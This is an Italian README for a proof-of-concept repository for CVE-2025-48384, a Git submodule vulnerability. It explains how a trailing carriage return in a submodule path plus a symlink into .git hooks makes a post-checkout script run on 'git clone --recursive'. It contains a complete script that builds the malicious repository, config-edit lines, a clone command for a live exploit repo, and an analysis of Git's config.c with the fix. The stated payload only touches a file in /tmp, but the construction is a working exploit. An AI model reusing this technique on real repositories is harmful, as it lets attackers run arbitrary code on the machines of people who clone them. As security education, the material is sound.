
Prova di concetto per CVE-2025-48384
Questo repository è stato creato a scopo di formazione sulla sicurezza.
Se ne sconsiglia l'uso improprio.
Questa vulnerabilità richiede di includere \r nel nome della directory, pertanto
i sistemi Linux/Unix sono interessati.
Le versioni di Git interessate sono le seguenti.
L'RCE viene attivata anche clonando questo repository con il comando seguente.
※ Prestare la massima attenzione durante l'esecuzione.
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
Il comando presente nel post-checkout del seguente repository sottomodulo viene eseguito.
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
Creato facendo riferimento a questo. Sono state apportate 2 modifiche.
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
Innanzitutto, per quanto riguarda il motivo per cui l'RCE viene realizzata,
questa vulnerabilità sfrutta una funzionalità standard di Git chiamata hooks.
Per spiegare brevemente gli hooks,
si tratta di «una funzionalità che consente di eseguire script preconfigurati quando si verifica un evento specifico (come un commit)».
Questa vulnerabilità utilizza il file post-checkout all'interno di .git, che viene eseguito al momento del checkout.
Tuttavia, poiché questo file può essere gestito essenzialmente solo in locale,
un attaccante non può ovviamente intervenire semplicemente clonando un repository GitHub.
Questo limite viene superato sfruttando la gestione di \r da parte di Git e,
collocando un file post-checkout arbitrario in ./.git/modules/sub/hooks/ in locale, viene realizzata l'RCE.
Viene sfruttata la gestione di \r da parte di Git.
Seguendo l'elaborazione di Git, spiegheremo brevemente.
Per prima cosa, si utilizza git clone --recursive {url} per clonare in locale il repository remoto su GitHub.
(Aggiungendo --recursive, i sottomoduli vengono clonati contemporaneamente.)
In quel momento, il sottomodulo dell'url viene estratto nella directory del parametro chiamato path all'interno di .gitmodules.
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
Al nome della directory di questo parametro path viene applicata la seguente manipolazione.
path = "sub\r"
Inoltre, anche il nome della directory del sottomodulo nel repository viene impostato a sub\r.
Eseguendo git clone --recursive in questo modo,
si tenta di estrarre il sottomodulo dall'url nella directory sub\r, seguendo il path in .gitmodules.
(Se non esiste una directory corrispondente al path in .gitmodules, l'estrazione del sottomodulo non viene eseguita.)
Tuttavia, Git non fa riferimento al valore di path in .gitmodules per la destinazione finale dell'estrazione del sottomodulo.
Ciò a cui fa riferimento alla fine è un parametro chiamato worktree all'interno di .git/modules/sub/config.
Questo parametro viene scritto in base al valore di path in .gitmodules.
Questa scrittura è fondamentale.
Quando path = "sub\r" viene scritto nel parametro worktree all'interno di .git/modules/sub/config, assume la forma seguente.
[core]
workdir = ../../../sub\r
Il punto importante è che non è racchiuso tra doppi apici.
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
Viene racchiuso tra doppi apici solo se è presente uno spazio in una posizione specifica,
oppure se ; o # è presente in una posizione qualsiasi,
mentre nel caso di \r non viene racchiuso tra doppi apici.
Se non è racchiuso tra doppi apici, Git non valuta il \r finale.
Di conseguenza, la destinazione di estrazione del sottomodulo diventa ../../../sub.
Poiché il nome del sottomodulo è sub\r, è possibile creare un file di qualsiasi forma chiamato sub. (I nomi non si sovrappongono.)
Qui viene inserito un collegamento simbolico, modificando la destinazione di estrazione del sottomodulo in ./.git/modules/sub/hooks/.
sub -> .git/modules/sub/hooks
Il file script dell'attaccante post-checkout, collocato all'interno del sottomodulo,
può essere posizionato nel ./.git/modules/sub/hooks/ locale della vittima e verrà eseguito al momento del checkout.
Questo attacco riesce perché la gestione di \r cambia all'interno di Git.
.gitmodules, il valore è racchiuso tra doppi apici, quindi \r viene valutato..git/modules/sub/config, il valore non è racchiuso tra doppi apici, quindi \r non viene valutato.Nelle versioni di Git in cui questa vulnerabilità è stata corretta, la modifica è la seguente.
(È stato modificato in modo da racchiudere tra doppi apici quando è incluso \r.)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
https://github.com/git/git/blob/master/config.c#L2938
Come vulnerabilità simile esiste CVE-2024-32002.
Questa vulnerabilità, sui file system che non distinguono tra maiuscole e minuscole (Windows, MacOS, ecc.),
proprio come CVE-2025-48384, sfrutta i collegamenti simbolici per consentire all'attaccante di intervenire nelle githooks.
Il seguente articolo è utile come riferimento.
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002